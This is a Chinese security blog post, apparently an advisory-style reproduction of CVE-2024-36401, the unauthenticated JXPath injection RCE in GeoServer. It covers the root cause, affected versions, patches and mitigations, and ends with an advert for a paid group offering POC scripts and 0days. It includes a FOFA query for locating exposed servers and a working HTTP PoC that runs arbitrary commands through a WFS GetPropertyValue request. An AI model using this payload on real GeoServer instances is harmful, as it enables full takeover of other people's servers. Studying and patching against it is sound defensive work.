「漏洞复现」Geoserver JXPath表达式注入致远程代码执行漏洞(CVE-2024-36401)

「漏洞复现」Geoserver JXPath表达式注入致远程代码执行漏洞(CVE-2024-36401)

冷漠安全 冷漠安全 2024-07-04 18:35

0x01 免责声明

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!!!

0x02

产品介绍

GeoServer是一个开源服务器,用于共享、处理和编辑地理空间数据。它支持多种地图和数据标准,使用户能够通过网络访问和操作地理信息系统(GIS)数据。

0x03

漏洞威胁

2024年7月,互联网上披露Geoserver表达式注入致远程代码执行漏洞(CVE-2024-36401),攻击者无需认证即可利用该漏洞获取服务器权限,建议受影响的客户尽快修复漏洞。

漏洞成因

该系统不安全地将属性名称解析为 XPath 表达式。GeoServer 调用的 GeoTools 库 API 以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库。该库在解析 XPath 表达式时,可以执行任意代码。这种 XPath 评估本应仅供复杂要素类型(例如应用程序架构数据存储)使用,但由于错误,该机制也被应用于简单要素类型。这使得所有 GeoServer 实例都可能受到该漏洞的影响。

漏洞影响

此漏洞可能导致远程代码执行 (RCE)。未经身份验证的用户可以通过向默认的 GeoServer 安装发送特制的输入,利用多个 OGC 请求参数,如 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求,从而执行任意代码。这种远程代码执行将导致系统被完全控制,严重威胁系统安全,可能造成数据泄露、勒索或更广泛的网络攻击。

影响范围

2.25.0 <= GeoServer < 2.25.2

2.24.0 <= GeoServer < 2.24.4

GeoServer < 2.23.6

0x04

漏洞环境

FOFA:

app="GeoServer"

0x05

漏洞复现

PoC

POST /geoserver/wfs HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
Content-Type: application/xml
Connection: close

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='topp:states'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'执行的命令')</wfs:valueReference>
</wfs:GetPropertyValue>

0x06

批量脚本验证

Nuclei验证脚本已发布
知识星球:冷漠安全

0x07

修复建议

升级修复方案

官方已发布先前版本的补丁可供下载(https://geoserver.org/),包括已修复的 gt-app-schema、gt-complex 和 gt-xsd-core jar 文件。补丁可从以下 GeoServer 版本的发布页面下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0。下载后使用补丁文件替换原文件即可。

临时缓解方案

通过删除 GeoServer 中的 gt-complex-x.y.jar 文件(其中 x.y 是 GeoTools 版本,例如运行 GeoServer 2.25.1 时为 gt-complex-31.1.jar),可以临时缓解此漏洞。这将从 GeoServer 中移除漏洞代码,但可能会导致某些 GeoServer 功能失效或 GeoServer 部署失败,尤其是当 gt-complex 模块被正在使用的扩展所需要时。

0x08

加入我们

漏洞详情及批量检测POC工具请前往知识星球获取

知识星球:冷漠安全交个朋友,限时优惠券:加入立减25星球福利:每天更新最新漏洞POC、资料文献、内部工具等

「星球介绍」:

本星球不割韭菜,不发烂大街东西。欢迎进来白嫖,不满意三天退款。

本星球坚持每天分享一些攻防知识,包括攻防技术、网络安全漏洞预警脚本、网络安全渗透测试工具、解决方案、安全运营、安全体系、安全培训和安全标准等文库。

本星主已加入几十余个付费星球,定期汇聚高质量资料及工具进行星球分享。

「星球服务」:

加入星球,你会获得:

♦ 批量验证漏洞POC脚本

♦ 0day、1day分享

♦ 汇集其它付费星球资源分享

♦ 大量的红蓝对抗实战资源

♦ 优秀的内部红蓝工具及插件

♦ 综合类别优秀Wiki文库及漏洞库

♦ 提问及技术交流